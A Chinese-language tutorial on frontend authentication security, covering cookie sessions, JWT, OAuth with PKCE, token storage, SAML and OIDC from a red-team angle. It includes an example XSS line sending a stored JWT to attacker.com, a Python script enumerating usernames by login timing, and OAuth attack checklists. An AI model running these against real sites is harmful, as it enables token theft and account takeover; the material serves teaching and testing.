目录


一、前端认证机制概览

认证流程全景

用户 → 登录页面 → 提交凭证 → 服务器验证 → 返回Token/Session
                                              ↓
后续请求 ← 浏览器存储 ← Cookie/Storage
    ↓
  附带凭证 → 服务器识别身份

前端需要关注的安全点

环节安全关注
登录表单是否HTTPS、是否有暴力破解防护
Token传输是否HttpOnly、Secure
Token存储Cookie vs localStorage vs 内存
Token使用自动附带 vs 手动添加
Token刷新Refresh Token的安全性
退出登录是否真正清除凭证

二、Cookie-Session认证

标准流程

1. 用户POST /login {user, pass}
2. 服务器验证 → 创建Session → 返回Set-Cookie
   Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict; Path=/
3. 后续请求浏览器自动携带 Cookie: session_id=abc123
4. 服务器查Session → 确认身份
5. 退出 → 服务器销毁Session + Set-Cookie过期

前端安全相关

<!-- 登录表单 -->
<form action="/login" method="POST" autocomplete="off">
  <input type="text" name="username" autocomplete="username">
  <input type="password" name="password" autocomplete="current-password">
  <input type="hidden" name="csrf_token" value="...">
  <button type="submit">登录</button>
</form>

红队关注:

  • autocomplete="off" 可能被浏览器忽略
  • 隐藏的CSRF Token是否可预测
  • 登录失败的错误消息是否泄露用户存在性
  • 是否有速率限制(可被暴力破解)

三、JWT Token认证

JWT结构

header.payload.signature

header:  {"alg": "HS256", "typ": "JWT"}
payload: {"sub": "123", "name": "admin", "iat": 1516239022}
signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

前端JWT处理

// 登录成功后
const response = await fetch('/api/login', {
  method: 'POST',
  body: JSON.stringify({ username, password }),
});
const { token } = await response.json();
 
// 存储Token(三种方式)
localStorage.setItem('jwt', token);           // 方式1:localStorage
sessionStorage.setItem('jwt', token);          // 方式2:sessionStorage
// 方式3:内存变量(最安全但刷新丢失)
let jwtToken = token;
 
// 发送Token
fetch('/api/data', {
  headers: {
    'Authorization': `Bearer ${jwtToken}`,
  },
});

JWT前端攻击面

// 攻击面1:XSS窃取localStorage中的JWT
fetch('https://attacker.com/steal?t=' + localStorage.getItem('jwt'));
 
// 攻击面2:未验证JWT签名(如果前端自己验证)
// 前端验证JWT是可选的——真正的验证在服务器
// 但如果前端代码信任JWT的payload做权限判断 → 可篡改
 
// 攻击面3:JWT泄露在URL中
// https://app.com/reset-password?token=eyJhbGciOi...
// JWT出现在URL中 → 浏览器历史、Referer头会泄露

四、OAuth 2.0 + OIDC前端流程

Authorization Code + PKCE (SPA推荐)

1. 用户点击"用Google登录"
2. 前端生成 code_verifier + code_challenge
3. 重定向到 Google 授权页
   GET /authorize?client_id=xxx&redirect_uri=https://app.com/callback
       &response_type=code&code_challenge=xxx&state=random123
4. 用户授权后,Google重定向回
   https://app.com/callback?code=abc123&state=random123
5. 前端验证state(防CSRF)
6. 前端POST /token {code, code_verifier}
7. 返回 Access Token + ID Token + Refresh Token
8. 前端存储Token

OAuth 2.0安全问题

问题说明防御
CSRF (state参数)攻击者绑定自己的OAuth账号state随机值
redirect_uri验证重定向到攻击者控制的URL严格白名单
Implicit FlowToken在URL fragment(不安全)改用Auth Code + PKCE
Token泄露Access Token在JS中控制Token生命周期
账号绑定绕过现有账号的OAuth绑定确认已有账号身份

红队OAuth攻击测试

1. 修改 redirect_uri → 检查是否接受任意值
2. 移除 state参数 → 检查是否有CSRF保护
3. 尝试 Implicit Flow → 看是否仍支持
4. 使用较小的 code_challenge → 暴力破解
5. 重放授权码 (code reuse) → 检查code是否一次性

五、Token存储位置的安全分析

存储方案对比

方案XSS窃取CSRF自动附带推荐
Cookie (HttpOnly + Secure + SameSite)
localStorage
sessionStorage✓ (同标签页)
内存变量 (redux/vuex)
BFF (Backend For Frontend)

推荐方案:BFF模式

浏览器 ←→ BFF(同源后端) ←→ API服务

1. 登录凭证存在BFF的Cookie (HttpOnly, Secure, SameSite)
2. BFF持有实际的API Token(不暴露给前端)
3. 前端调用BFF接口,BFF代理转发到API
4. XSS在浏览器上无法窃取真实API Token
5. Cookie的SameSite防御CSRF

六、登录表单安全

登录安全机制

<!-- 安全的登录表单 -->
<form action="/login" method="POST">
  <!-- CSRF 保护 -->
  <input type="hidden" name="csrf_token" value="random123">
  
  <!-- 防止自动填充凭据(但现代浏览器可能忽略) -->
  <input type="text" name="username" autocomplete="off">
  <input type="password" name="password" autocomplete="off">
  
  <!-- 提交按钮 -->
  <button type="submit">登录</button>
</form>

红队登录测试清单

  • 是否缺少CSRF Token?(→ 登录CSRF,将受害者绑定到攻击者账号)
  • 错误消息是否区分”用户不存在”vs”密码错误”?(→ 枚举有效用户名)
  • 是否有CAPTCHA或速率限制?(→ 暴力破解的可能性)
  • 是否有账户锁定机制?(→ DoS攻击面)
  • 是否使用了”记住我”?(→ 持久Cookie的安全属性)
  • 密码重置流程是否安全?(→ 账户接管)

通过时序侧信道枚举用户

# 检查登录响应时间的差异
import time, requests
 
for username in wordlist:
    start = time.time()
    r = requests.post('https://target.com/login', 
                      data={'username': username, 'password': 'wrong'})
    elapsed = time.time() - start
    
    # 无效用户 vs 有效用户+错误密码的响应时间可能不同
    if elapsed > 0.5:  # 假设有效用户会触发更复杂的密码验证
        print(f"[+] User exists: {username}")

七、单点登录 (SSO) 安全

SAML SSO流程

1. 用户访问 SP(Service Provider)
2. SP生成 SAML Request → 重定向到 IDP(Identity Provider)
3. IDP验证用户 → 生成 SAML Response (含断言)
4. 用户浏览器POST SAML Response到 SP的ACS URL
5. SP验证签名 → 提取身份 → 创建本地Session

SAML前端攻击面

<!-- SAML Response在浏览器中传递 → 可被中间人/XSS操作 -->
 
<!-- 1. XML Signature Wrapping -->
<!-- 攻击者修改断言但保留原始签名 → 签名验证逻辑漏洞 -->
 
<!-- 2. SAML Response中Token泄露 -->
<!-- 如果Response含敏感数据 → URL/表单字段中可能泄露 -->
 
<!-- 3. ACS URL验证缺失 -->
<!-- 攻击者指定自己的ACS → 获取SAML断言 -->

OpenID Connect (OIDC) 前端安全

// OIDC = OAuth 2.0 + 身份认证层
// UserInfo端点返回用户信息
fetch('https://idp.example.com/userinfo', {
  headers: { 'Authorization': `Bearer ${accessToken}` }
}).then(r => r.json());
 
// 攻击面:
// 1. ID Token验证不严格(忽略签名/过期时间)
// 2. nonce不验证 → 重放攻击
// 3. at_hash验证缺失 → Token篡改

八、红队视角总结

认证攻击矩阵

攻击目标必要条件
暴力破解登录接口无速率限制
用户名枚举错误消息/时序差异化响应
登录CSRF绑定账号无CSRF Token
XSS窃取TokenlocalStorage中JWTXSS漏洞
Session FixationURL传Session ID登录后不换Session ID
JWT none算法服务器接受alg:none签名验证不严格
OAuth redirect_uri授权码劫持redirect_uri验证弱
Refresh Token滥用获取长期访问Refresh Token泄露

检测脚本

# 检查登录页安全头
curl -sI https://target.com/login | grep -iE 'set-cookie|strict-transport'
 
# Cookie安全检查
# 查看是否有 HttpOnly, Secure, SameSite
 
# JWT检查
jwt=$(echo -n 'eyJ...' | cut -d. -f1-2)
echo $jwt | base64 -d  # 看payload(无需签名)
# 检查 exp, nbf, aud, iss 等声明

返回 前端基础总目录